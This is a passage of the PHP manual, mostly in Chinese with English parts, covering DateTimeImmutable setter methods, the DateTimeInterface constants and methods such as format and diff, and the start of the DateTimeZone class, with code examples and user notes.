echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setDate(2001, 2, 29);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setDate(2001, 14, 3);
echo $newDate->format('Y-m-d') . "\n";
?>

以上示例会输出：

2001-02-28
2001-03-01
2002-02-03

参见

  • DateTimeImmutable::setISODate() - Sets the ISO date
  • DateTimeImmutable::setTime() - Sets the time

User Contributed Notes

There are no user contributed notes for this page.


Sets the ISO date

  • ? DateTimeImmutable::setDate
  • DateTimeImmutable::setTime ?
  • PHP Manual
  • DateTimeImmutable
  • Sets the ISO date

DateTimeImmutable::setISODate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setISODate — Sets the ISO date

说明

public DateTimeImmutable::setISODate(int $year, int $week, int $dayOfWeek = 1): DateTimeImmutable

Returns a new DateTimeImmutable object with the date set according to the ISO 8601 standard - using weeks and day offsets rather than specific dates.

参数

year

Year of the date.

week

Week of the date.

dayOfWeek

Offset from the first day of the week.

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

示例

Example #1 DateTimeImmutable::setISODate() example

面向对象风格

<?php
$date = new DateTimeImmutable();

$date->setISODate(2008, 2);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";
?>

过程化风格

<?php
$date = date_create();

date_isodate_set($date, 2008, 2);
echo date_format($date, 'Y-m-d') . "\n";

date_isodate_set($date, 2008, 2, 7);
echo date_format($date, 'Y-m-d') . "\n";
?>

以上示例会输出：

2008-01-07
2008-01-13

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTimeImmutable();

$newDate = $date->setISODate(2008, 2, 7);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setISODate(2008, 2, 8);
echo $newDate->format('Y-m-d') . "\n";

$newDate = $date->setISODate(2008, 53, 7);
echo $newDate->format('Y-m-d') . "\n";
?>

以上示例会输出：

2008-01-13
2008-01-14
2009-01-04

Example #3 Finding the month a week is in

<?php
$date = new DateTimeImmutable();
$newDate = $date->setISODate(2008, 14);
echo $newDate->format('n');
?>

以上示例会输出：

3

参见

  • DateTimeImmutable::setDate() - Sets the date
  • DateTimeImmutable::setTime() - Sets the time

User Contributed Notes

There are no user contributed notes for this page.


Sets the time

  • ? DateTimeImmutable::setISODate
  • DateTimeImmutable::setTimestamp ?
  • PHP Manual
  • DateTimeImmutable
  • Sets the time

DateTimeImmutable::setTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTime — Sets the time

说明

public DateTimeImmutable::setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTimeImmutable

Returns a new DateTimeImmutable object with the time set to the given time.

参数

hour

Hour of the time.

minute

Minute of the time.

second

Second of the time.

microsecond

Microsecond of the time.

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

更新日志

版本 | 说明
8.1.0 | The behaviour with double existing hours (during the fall-back DST transition) changed. Previously PHP would pick the second occurrence (after the DST transition), instead of the first occurrence (before DST transition).
7.1.0 | The microsecond parameter was added.

示例

Example #1 DateTimeImmutable::setTime() example

面向对象风格

<?php
$date = new DateTimeImmutable('2001-01-01');

$newDate = $date->setTime(14, 55);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

以上示例的输出类似于：

2001-01-01 14:55:00
2001-01-01 14:55:24

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTimeImmutable('2001-01-01');

$newDate = $date->setTime(14, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 55, 65);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(14, 65, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";

$newDate = $date->setTime(25, 55, 24);
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

以上示例会输出：

2001-01-01 14:55:24
2001-01-01 14:56:05
2001-01-01 15:05:24
2001-01-02 01:55:24

参见

  • DateTimeImmutable::setDate() - Sets the date
  • DateTimeImmutable::setISODate() - Sets the ISO date

User Contributed Notes

There are no user contributed notes for this page.


Sets the date and time based on a Unix timestamp

  • ? DateTimeImmutable::setTime
  • DateTimeImmutable::setTimezone ?
  • PHP Manual
  • DateTimeImmutable
  • Sets the date and time based on a Unix timestamp

DateTimeImmutable::setTimestamp

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimestamp — Sets the date and time based on a Unix timestamp

说明

public DateTimeImmutable::setTimestamp(int $timestamp): DateTimeImmutable

Returns a new DateTimeImmutable object constructed from the old one, with the date and time set based on an Unix timestamp.

参数

timestamp

Unix timestamp representing the date. Setting timestamps outside the range of int is possible by using DateTimeImmutable::modify() with the @ format.

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

示例

Example #1 DateTimeImmutable::setTimestamp() example

面向对象风格

<?php
$date = new DateTimeImmutable();
echo $date->format('U = Y-m-d H:i:s') . "\n";

$newDate = $date->setTimestamp(1171502725);
echo $newDate->format('U = Y-m-d H:i:s') . "\n";
?>

以上示例的输出类似于：

1272508903 = 2010-04-28 22:41:43
1171502725 = 2007-02-14 20:25:25

参见

  • DateTimeImmutable::getTimestamp() - 获取 Unix 时间戳

User Contributed Notes

lukin dot andrej at gmail dot com 01-Mar-2023 08:51
While modifying Datetime with the timezone, the user should be aware that changing the timestamp using "@".\time() is not the same as changing the timestamp using setTimestamp().

$now = new \DateTimeImmutable('August 30, 2023 09:00:00 GMT+01');
$origin = $now->getTimestamp(); // 1693382400
$usingAt = $now->modify('@'.$now->getTimestamp())->getTimestamp(); // 1693378800
$usingSetTimestamp = $now->setTimestamp($now->getTimestamp())->getTimestamp(); // 1693382400

var_dump($usingAt === $origin); // false
var_dump($usingSetTimestamp === $origin); // true
Philip 15-Jul-2021 11:03
This function will not change the value of the DateTimeImmutable object as the method name might suggest. The object, after all, immutable.

<?php
   $dti = new DateTimeImmutable();
   echo $dti->getTimestamp(); // e.g. 123456789
   $dti->setTimestamp(987654321);
   echo $dti->getTimestamp(); // 123456789

   $x = $dti->setTimestamp (987654321);
   echo $x->getTimestamp(); // 987654321
?>


Sets the time zone

  • ? DateTimeImmutable::setTimestamp
  • DateTimeImmutable::sub ?
  • PHP Manual
  • DateTimeImmutable
  • Sets the time zone

DateTimeImmutable::setTimezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimezone — Sets the time zone

说明

public DateTimeImmutable::setTimezone(DateTimeZone $timezone): DateTimeImmutable

Returns a new DateTimeImmutable object with a new timezone set.

参数

timezone

A DateTimeZone object representing the desired time zone.

返回值

Returns a new modified DateTimeImmutable object for method chaining. The underlaying point-in-time is not changed when calling this method.

示例

Example #1 DateTimeImmutable::setTimeZone() example

面向对象风格

<?php
$date = new DateTimeImmutable('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$newDate = $date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $newDate->format('Y-m-d H:i:sP') . "\n";
?>

以上示例会输出：

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

参见

  • DateTimeImmutable::getTimezone() - 返回相对于指定 DateTime 的时区
  • DateTimeZone::__construct() - 创建新的DateTimeZone对象

User Contributed Notes

There are no user contributed notes for this page.


Subtracts an amount of days, months, years, hours, minutes and seconds

  • ? DateTimeImmutable::setTimezone
  • DateTimeInterface ?
  • PHP Manual
  • DateTimeImmutable
  • Subtracts an amount of days, months, years, hours, minutes and seconds

DateTimeImmutable::sub

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds

说明

public DateTimeImmutable::sub(DateInterval $interval): DateTimeImmutable

Returns a new DateTimeImmutable object, with the specified DateInterval object subtracted from the specified DateTimeImmutable object.

参数

interval

A DateInterval object

返回值

返回带有修改数据的新 DateTimeImmutable 对象。

错误／异常

If an unsupported operation is attempted, such as using a DateInterval object representing relative time specifications such as next weekday, a DateInvalidOperationException is thrown.

更新日志

版本 | 说明
8.3.0 | Now throws a DateInvalidOperationException instead of a warning when an unsupported operation is attempted.

示例

Example #1 DateTimeImmutable::sub() example

面向对象风格

<?php
$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('P10D'));
echo $newDate->format('Y-m-d') . "\n";
?>

以上示例会输出：

2000-01-10

Example #2 Further DateTimeImmutable::sub() examples

<?php
$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('PT10H30S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";

$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('P7Y5M4DT4H3M2S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

以上示例会输出：

2000-01-19 13:59:30
1992-08-15 19:56:58

Example #3 Beware when subtracting months

<?php
$date = new DateTimeImmutable('2001-04-30');
$interval = new DateInterval('P1M');

$newDate1 = $date->sub($interval);
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->sub($interval);
echo $newDate2->format('Y-m-d') . "\n";
?>

以上示例会输出：

2001-03-30
2001-03-02

参见

  • DateTimeImmutable::add() - Returns a new object, with added amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::diff() - 返回两个 DateTime 之间的差值
  • DateTimeImmutable::modify() - Creates a new object with modified timestamp

User Contributed Notes

There are no user contributed notes for this page.


The DateTimeInterface interface

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

创建 DateTimeInterface 是为了让参数、返回值、属性类型声明能够接受 DateTimeImmutable 或 DateTime 作为值。不可以使用用户定义的类实现该接口。

此接口也定义了公共常量，允许通过 DateTimeImmutable::format() 和 DateTime::format() 格式化 DateTimeImmutable 或 DateTime 对象。

接口摘要

interface DateTimeInterface {
/* 常量 */
public const string ATOM = "Y-m-d\\TH:i:sP";
public const string COOKIE = "l, d-M-Y H:i:s T";
public const string ISO8601 = "Y-m-d\\TH:i:sO";
public const string ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string RFC822 = "D, d M y H:i:s O";
public const string RFC850 = "l, d-M-y H:i:s T";
public const string RFC1036 = "D, d M y H:i:s O";
public const string RFC1123 = "D, d M Y H:i:s O";
public const string RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string RFC2822 = "D, d M Y H:i:s O";
public const string RFC3339 = "Y-m-d\\TH:i:sP";
public const string RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string RSS = "D, d M Y H:i:s O";
public const string W3C = "Y-m-d\\TH:i:sP";
/* 方法 */
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

预定义常量

DateTimeInterface::ATOM
DATE_ATOM
Atom 格式（示例：2005-08-15T15:52:01+00:00）
DateTimeInterface::COOKIE
DATE_COOKIE
HTTP Cookies 格式（示例：Monday, 15-Aug-2005 15:52:01 UTC）
DateTimeInterface::ISO8601
DATE_ISO8601
ISO-8601 格式（示例：2005-08-15T15:52:01+0000）

Note: 这种格式和 ISO-8601 格式并不兼容，只是出于向后兼容的原因才保留的。 如果要使用和 ISO-8601 兼容的格式，请使用 DateTimeInterface::ISO8601_EXPANDED 和 DateTimeInterface::ATOM 两个常量。 （参见 ISO8601:2004 第 4.3.3 条 d 项）

DateTimeInterface::ISO8601_EXPANDED
DATE_ISO8601_EXPANDED
ISO-8601 扩大版（示例：+10191-07-26T08:59:52+01:00）

Note: 通过始终包含符号字符，此格式允许超出 ISO-8601 正常范围（0000-9999）的年份。还解决了时区部分（+01:00）与 ISO-8601 兼容的问题。

DateTimeInterface::RFC822
DATE_RFC822
RFC 822 格式（示例：Mon, 15 Aug 05 15:52:01 +0000）
DateTimeInterface::RFC850
DATE_RFC850
RFC 850 格式（示例：Monday, 15-Aug-05 15:52:01 UTC）
DateTimeInterface::RFC1036
DATE_RFC1036
RFC 1036（示例：Mon, 15 Aug 05 15:52:01 +0000）
DateTimeInterface::RFC1123
DATE_RFC1123
RFC 1123 格式（示例：Mon, 15 Aug 2005 15:52:01 +0000）
DateTimeInterface::RFC7231
DATE_RFC7231
RFC 7231 格式 (自 PHP 7.0.19 和 7.1.5 可用) (示例：Sat, 30 Apr 2016 17:52:13 GMT)
DateTimeInterface::RFC2822
DATE_RFC2822
RFC 2822 格式（示例：Mon, 15 Aug 2005 15:52:01 +0000）
DateTimeInterface::RFC3339
DATE_RFC3339
同 DATE_ATOM（自 PHP 5.1.3 版本可用）
DateTimeInterface::RFC3339_EXTENDED
DATE_RFC3339_EXTENDED
RFC 3339 EXTENDED 格式（示例：2005-08-15T15:52:01.000+00:00）
DateTimeInterface::RSS
DATE_RSS
RSS（示例：Mon, 15 Aug 2005 15:52:01 +0000）
DateTimeInterface::W3C
DATE_W3C
RSS 格式（示例：2005-08-15T15:52:01+00:00）

更新日志

版本 | 说明
8.2.0 | 新增常量 DateTimeInterface::ISO8601_EXPANDED。
7.2.0 | DateTime 的类常量现在定义在了 DateTimeInterface 上。

Table of Contents

  • DateTimeInterface::diff — 返回两个 DateTime 之间的差值
  • DateTimeInterface::format — 按照指定格式返回格式化后的日期
  • DateTimeInterface::getOffset — 返回时差
  • DateTimeInterface::getTimestamp — 获取 Unix 时间戳
  • DateTimeInterface::getTimezone — 返回相对于指定 DateTime 的时区
  • DateTime::__wakeup — The __wakeup handler

User Contributed Notes

bohwaz 13-Nov-2022 11:22
Please note that if you are using DATE_RFC7231 format (used in HTTP/1.1), you'll need to change the DateTime object timezone to GMT *before*, or you'll encounter weird results, as this format DOES NOT convert the date to GMT.

So if you have a DateTime object using UTC+01:00 as its timezone, you will get a difference of 1 hour between your resulting date string and what should be the "correct" date.

Recommended use:

<?php
$date_gmt = clone $date;
$date_gmt->setTimezone(new \DateTimeZone('GMT'));
echo $date_gmt->format(DATE_RFC7231);
?>


返回两个 DateTime 之间的差值

  • ? DateTimeInterface
  • DateTimeInterface::format ?
  • PHP Manual
  • DateTimeInterface
  • 返回两个 DateTime 之间的差值

DateTimeInterface::diff

DateTimeImmutable::diff

DateTime::diff

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeInterface::diff -- DateTimeImmutable::diff -- DateTime::diff -- date_diff — 返回两个 DateTime 之间的差值

说明

面向对象风格

public DateTimeInterface::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public DateTimeImmutable::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public DateTime::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval

过程化风格

date_diff(DateTimeInterface $baseObject, DateTimeInterface $targetObject, bool $absolute = false): DateInterval

返回两个 DateTimeInterface 对象的差值。

参数

datetime

要比较的日期。

absolute

间隔是否强制为正的？

返回值

DateInterval 对象表示两个日期之间的差值。

返回更具体的表示应用于原始对象（$this 或 $originObject）到达 $targetObject 的时钟时间间隔的值。该过程始终不可逆。

该方法知道 DST 转换，因此可以根据示例返回 24 小时 30 分钟的时间间隔。如果想使用绝对时间计算，则需要先将 $this/$baseObject 和 $targetObject 都转换为 UTC。

示例

Example #1 DateTimeImmutable::diff() 示例

面向对象风格

<?php
$origin = new DateTimeImmutable('2009-10-11');
$target = new DateTimeImmutable('2009-10-13');
$interval = $origin->diff($target);
echo $interval->format('%R%a days');
?>

过程化风格

<?php
$origin = date_create('2009-10-11');
$target = date_create('2009-10-13');
$interval = date_diff($origin, $target);
echo $interval->format('%R%a days');
?>

以上示例会输出：

+2 days

Example #2 DST 转换期间的 DateTimeInterface::diff()

<?php
$originalTime = new DateTimeImmutable("2021-10-30 09:00:00 Europe/London");
$targedTime = new DateTimeImmutable("2021-10-31 08:30:00 Europe/London");
$interval = $originalTime->diff($targedTime);
echo $interval->format("%H:%I:%S (Full days: %a)"), "\n";
?>

以上示例会输出：

24:30:00 (Full days: 0)

Example #3 DateTimeInterface::diff() range

该方法返回的值是从 $this 到达 $targetObject 所需要的精确时间。因此，将 1 月 1 日与 12 月 31 日进行比较，返回的结果是 364，而不是 365 天（对于非闰年）。

<?php
$originalTime = new DateTimeImmutable("2023-01-01 UTC");
$targedTime = new DateTimeImmutable("2023-12-31 UTC");
$interval = $originalTime->diff($targedTime);
echo "Full days: ", $interval->format("%a"), "\n";
?>

以上示例会输出：

Full days: 364

Example #4 DateTime 对象比较

Note:

DateTimeImmutable 和 DateTime 对象可以使用比较运算符进行比较。

<?php
$date1 = new DateTime("now");
$date2 = new DateTime("tomorrow");

var_dump($date1 == $date2);
var_dump($date1 < $date2);
var_dump($date1 > $date2);
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)

参见

  • DateInterval::format() - Formats the interval
  • DateTime::add() - 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。
  • DateTime::sub() - 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

User Contributed Notes

There are no user contributed notes for this page.


按照指定格式返回格式化后的日期

  • ? DateTimeInterface::diff
  • DateTimeInterface::getOffset ?
  • PHP Manual
  • DateTimeInterface
  • 按照指定格式返回格式化后的日期

DateTimeInterface::format

DateTimeImmutable::format

DateTime::format

date_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::format -- DateTimeImmutable::format -- DateTime::format -- date_format — 按照指定格式返回格式化后的日期

说明

面向对象风格

public DateTimeInterface::format(string $format): string
public DateTimeImmutable::format(string $format): string
public DateTime::format(string $format): string

过程化风格

date_format(DateTimeInterface $object, string $format): string

按照指定格式返回格式化后的日期。

参数

object

仅为过程化风格：由 date_create() 返回的 DateTime 类型的对象。

format

输出的日期 string 的格式。参见下面的格式化选项。也有几个预定义日期常量可以代替。例如 DATE_RSS 包含格式化字符串 'D, d M Y H:i:s'。

format 参数字符串可以识别以下字符
format 字符 | 说明 | 返回值示例
日 --- ---
d | 月份中的第几天，有补零的两位数字 | 01 到 31
D | 文字表示星期几，三个字母 | Mon 到 Sun
j | 月份中的第几天，没有补零 | 1 到 31
l（小写 'L'） | 完整文本表示星期几 | Sunday 到 Saturday
N | ISO 8601 数字表示星期几 | 1（星期一）到 7（星期天）
S | 月份中的第几天英文后缀，两个字符 | st、nd、rd 或 th。可以和 j 一起使用
w | 数字表示星期几 | 0（星期天）到 6（星期六）
z | 一年中的第几天（从 0 开始） | 0 到 365
周 --- ---
W | ISO 8601 格式当年中的第几周，每周从周一开始 | 示例：42（当年的第 42 周）
月 --- ---
F | 月份的完整文本表示，比如 January 或者 March | January 到 December
m | 月份的数字表示，补零 | 01 到 12
M | 简短文本表示月份，三个字母 | Jan 到 Dec
n | 数字表示几月份，不补零 | 1 到 12
t | 指定月份的天数 | 28 到 31
年 --- ---
L | 是否是闰年 | 如果是闰年为 1，否则为 0。
o | ISO 8601 数字年份表示。这和 Y 值相同，但如果 ISO 周数（W）属于上一年或者下一年，则用那一年。 | 示例：1999 或 2003
X | 年份的展开全数字表示，至少四位，- 表示公元前，+ 表示公元。 | 示例：-0055、+0787、 +1999、+10191
x | 如果需要，年份可以展开全数字表示，如果可能的话，也可以用标准的全数字（Y）表示。至少有四位数字。公元前以 - 为前缀，年份不小于 10000 时以 + 为前缀。 | 示例：-0055, 0787, 1999, +10191
Y | 年份完整数字表示，至少四位，使用 - 表示公元前。 | 示例：-0055、0787、 1999、2003、10191
y | 两位数的年份表示 | 示例：99 或 03
时间 --- ---
a | 小写的上午和下午 | am 或 pm
A | 大写的上午和下午 | AM 或 PM
B | Swatch 互联网时间 | 000 到 999
g | 不补零的小时（12 小时制） | 1 到 12
G | 不补零的小时（24 小时制） | 0 到 23
h | 补零的小时（12 小时制） | 01 到 12
H | 补零的小时（24 小时制） | 00 到 23
i | 补零的分钟 | 00 到 59
s | 补零的秒 | 00 到 59
u | 微秒。注意 date() 总是生成 000000，因为它需要一个 int 参数，而如果 DateTime 是使用微秒创建的，则 DateTime::format() 支持微秒。 | 示例：654321
v | 毫秒。与 u 的说明相同。 | 示例：654
时区 --- ---
e | 时区标识符 | 示例：UTC、GMT、Atlantic/Azores
I（大写 i） | 是否为夏令时 | 如果是夏令时为 1，否则为 0。
O | 跟格林尼治时间（GMT）的差异，小时和分钟时间没有冒号 | 示例：+0200
P | 跟格林尼治时间（GMT）的差异，小时和分钟时间有冒号 | 示例：+02:00
p | 跟 P 相同，区别是使用 Z 替换 +00:00 返回（PHP 8.0.0 起可用） | 示例：Z 或 +02:00
T | 如果知道会返回时区缩写，否则返回 GMT 时差。 | 示例：EST、MDT、+05
Z | 以秒为单位的时差。UTC 以西的时区为负的时差，以东为正的时差。 | -43200 到 50400
完整日期/时间 --- ---
c | ISO 8601 日期 | 2004-02-12T15:19:21+00:00
r | » RFC 2822/» RFC 5322 格式化时间 | 示例：Thu, 21 Dec 2000 16:01:07 +0200
U | 从 Unix 纪元（January 1 1970 00:00:00 GMT）到至今的秒数 | 参见 time()

格式字符串中无法识别的字符将会原样打印。当使用 gmdate() 时，Z 格式将始终返回 0。

Note:

由于本函数仅接受 int 类型时间戳，所以 u 格式化标识符仅在用户使用 date_create() 且使用 date_format() 创建时间戳时才有用。

返回值

成功时返回格式化后的日期字符串。

更新日志

版本 | 说明
8.2.0 | 新增 X 和 x 格式化字符。
8.0.0 | 新增 p 格式化字符。

示例

Example #1 DateTimeInterface::format() 示例

面向对象风格

<?php
$date = new DateTimeImmutable('2000-01-01');
echo $date->format('Y-m-d H:i:s');
?>

过程化风格

<?php
$date = date_create('2000-01-01');
echo date_format($date, 'Y-m-d H:i:s');
?>

以上示例会输出：

2000-01-01 00:00:00

Example #2 更多示例

<?php
// 设置使用的默认时区。
date_default_timezone_set('UTC');

// 现在
$date = new DateTimeImmutable();

// 打印类似：Wednesday
echo $date->format('l'), "\n";

// 打印类似：Wednesday 19th of October 2022 08:40:48 AM
echo $date->format('l jS \o\f F Y h:i:s A'), "\n";

/* 在 format 参数中使用常量 */
// 打印类似：Wed, 19 Oct 2022 08:40:48 +0000
echo $date->format(DateTimeInterface::RFC2822), "\n";
?>

通过对格式化字符串中的识别字符添加反斜线，对其转义来防止被解析。如果带有反斜线的字符已经是特殊序列，那么还要对反斜线进行转义。

Example #3 格式化时转义字符

<?php
$date = new DateTimeImmutable();

// 打印类似：Wednesday the 19th
echo $date->format('l \t\h\e jS');
?>

要格式化其它语言的日期，可以使用 IntlDateFormatter::format() 代替 DateTimeInterface::format()。

注释

此方法不使用区域设置，所有的输出都是英文。

参见

  • IntlDateFormatter::format() - Format the date/time value as a string

User Contributed Notes

reed at taeluf dot com 17-Nov-2023 09:49
Formatting for MySQL:

<?php
// as your application needs
$timezone = new \DateTimeZone("Europe/Tallinn");
$dt = new \DateTime('now', $timezone);

// MySql does not store timezone information, so normalize it
$dt->setTimezone(new \DateTimeZone("UTC"));
$db_friendly_string = $dt->format('Y-m-d H:i:s');
// insert $db_friendly_string into a DATETIME mysql column
?>

Loading FROM mysql is essentially the same:

<?php
$timezone = new \DateTimeZone("Europe/Tallinn");
$db_datetime = '2023-11-17 15:19:03';
$dt = \DateTime::createFromFormat('Y-m-d H:i:s', $db_datetime);
$dt->setTimezone($timezone);
?>

Also see https://dev.mysql.com/doc/refman/8.0/en/datetime.html

MySql docs state "In MySQL 8.0.19 and later, you can specify a time zone offset when inserting a TIMESTAMP or DATETIME value into a table. See Section 9.1.3, "Date and Time Literals", for more information and examples. "

However, in my testing on mysql  Ver 8.0.35, the time zone offset is discarded & the datetime string that's stored is exactly as you send to server - not modified with the offset.

If you insert with an offset, this is the format:
'2023-11-17 15:19:03-08:00'
Or the DateTime Format:
'Y-m-d H:i:sP'


返回时差

  • ? DateTimeInterface::format
  • DateTimeInterface::getTimestamp ?
  • PHP Manual
  • DateTimeInterface
  • 返回时差

DateTimeInterface::getOffset

DateTimeImmutable::getOffset

DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::getOffset -- DateTimeImmutable::getOffset -- DateTime::getOffset -- date_offset_get — 返回时差

说明

面向对象风格

public DateTimeInterface::getOffset(): int
public DateTimeImmutable::getOffset(): int
public DateTime::getOffset(): int

过程化风格

date_offset_get(DateTimeInterface $object): int

返回时差。

参数

object

仅为过程化风格：由 date_create() 返回的 DateTime 类型的对象。

返回值

成功时返回与 UTC 之间的时差（以秒为单位）。

示例

Example #1 DateTime::getOffset() 示例

面向对象风格

<?php
$winter = new DateTimeImmutable('2010-12-21', new DateTimeZone('America/New_York'));
$summer = new DateTimeImmutable('2008-06-21', new DateTimeZone('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

过程化风格

<?php
$winter = date_create('2010-12-21', timezone_open('America/New_York'));
$summer = date_create('2008-06-21', timezone_open('America/New_York'));

echo date_offset_get($winter) . "\n";
echo date_offset_get($summer) . "\n";
?>

以上示例会输出：

-18000
-14400

注意：-18000 = -5 小时，-14400 = -4 小时。

User Contributed Notes

There are no user contributed notes for this page.


获取 Unix 时间戳

  • ? DateTimeInterface::getOffset
  • DateTimeInterface::getTimezone ?
  • PHP Manual
  • DateTimeInterface
  • 获取 Unix 时间戳

DateTimeInterface::getTimestamp

DateTimeImmutable::getTimestamp

DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeInterface::getTimestamp -- DateTimeImmutable::getTimestamp -- DateTime::getTimestamp -- date_timestamp_get — 获取 Unix 时间戳

说明

面向对象风格

public DateTimeInterface::getTimestamp(): int
public DateTimeImmutable::getTimestamp(): int
public DateTime::getTimestamp(): int

过程化风格

date_timestamp_get(DateTimeInterface $object): int

获取 Unix 时间戳。

参数

此函数没有参数。

返回值

返回表示日期的 Unix 时间戳。

错误／异常

如果时间戳不能表示为 int，将抛出 DateRangeError。在 PHP 8.3.0 之前，将抛出 ValueError。并且在 PHP 8.0.0 之前，在这种情况下返回 false。不过，可以使用 U 格式和 DateTimeInterface::format() 作为 string 检索时间戳。

更新日志

版本 | 说明
8.3.0 | 超出范围的异常现在是 DateRangeError。
8.0.0 | 这些函数在失败时不再返回 false。

示例

Example #1 DateTime::getTimestamp() 示例

面向对象风格

<?php
$date = new DateTimeImmutable();
echo $date->getTimestamp();
?>

过程化风格

<?php
$date = date_create();
echo date_timestamp_get($date);
?>

以上示例的输出类似于：

1272509157

如果需要以毫秒或微秒精度检索时间戳，则可以使用 DateTimeInterface::format() 函数。

Example #2 以毫秒和微秒精度检索时间戳

面向对象风格

<?php
$date = new DateTimeImmutable();
$milli = (int)$date->format('Uv'); // Timestamp in milliseconds
$micro = (int)$date->format('Uu'); // Timestamp in microseconds

echo $milli, "\n", $micro, "\n";
?>

以上示例的输出类似于：

1674057635586
1674057635586918

参见

  • DateTime::setTimestamp() - 以 Unix 时间戳的方式设置日期和时间
  • DateTimeImmutable::setTimestamp() - Sets the date and time based on a Unix timestamp
  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期

User Contributed Notes

There are no user contributed notes for this page.


返回相对于指定 DateTime 的时区

  • ? DateTimeInterface::getTimestamp
  • DateTime::__wakeup ?
  • PHP Manual
  • DateTimeInterface
  • 返回相对于指定 DateTime 的时区

DateTimeInterface::getTimezone

DateTimeImmutable::getTimezone

DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::getTimezone -- DateTimeImmutable::getTimezone -- DateTime::getTimezone -- date_timezone_get — 返回相对于指定 DateTime 的时区

说明

面向对象风格

public DateTimeInterface::getTimezone(): DateTimeZone|false
public DateTimeImmutable::getTimezone(): DateTimeZone|false
public DateTime::getTimezone(): DateTimeZone|false

过程化风格

date_timezone_get(DateTimeInterface $object): DateTimeZone|false

返回相对于指定 DateTime 的时区。

参数

object

仅为过程化风格：由 date_create() 返回的 DateTime 类型的对象。

返回值

成功时返回 DateTimeZone 对象 或者在失败时返回 false。

示例

Example #1 DateTime::getTimezone() 示例

面向对象风格

<?php
$date = new DateTimeImmutable(null, new DateTimeZone('Europe/London'));
$tz = $date->getTimezone();
echo $tz->getName();
?>

过程化风格

<?php
$date = date_create(null, timezone_open('Europe/London'));
$tz = date_timezone_get($date);
echo timezone_name_get($tz);
?>

以上示例会输出：

Europe/London

参见

  • DateTime::setTimezone() - 设置 DateTime 对象的时区

User Contributed Notes

There are no user contributed notes for this page.


The __wakeup handler

  • ? DateTimeInterface::getTimezone
  • DateTimeZone ?
  • PHP Manual
  • DateTimeInterface
  • The __wakeup handler

DateTime::__wakeup

DateTimeImmutable::__wakeup

DateTimeInterface::__wakeup

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__wakeup -- DateTimeImmutable::__wakeup -- DateTimeInterface::__wakeup — The __wakeup handler

说明

public DateTime::__wakeup(): void
public DateTimeImmutable::__wakeup(): void
public DateTimeInterface::__wakeup(): void

The __wakeup() handler.

参数

此函数没有参数。

返回值

Initializes a DateTime object.

User Contributed Notes

There are no user contributed notes for this page.


DateTimeZone 类

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

简介

时区表示。

类摘要

class DateTimeZone {
/* 常量 */
public const int AFRICA;
public const int AMERICA;
public const int ANTARCTICA;
public const int ARCTIC;
public const int ASIA;
public const int ATLANTIC;
public const int AUSTRALIA;
public const int EUROPE;
public const int INDIAN;
public const int PACIFIC;
public const int UTC;
public const int ALL;
public const int ALL_WITH_BC;
public const int PER_COUNTRY;
/* 方法 */
public __construct(string $timezone)
public getLocation(): array|false
public getName(): string
public getOffset(DateTimeInterface $datetime): int
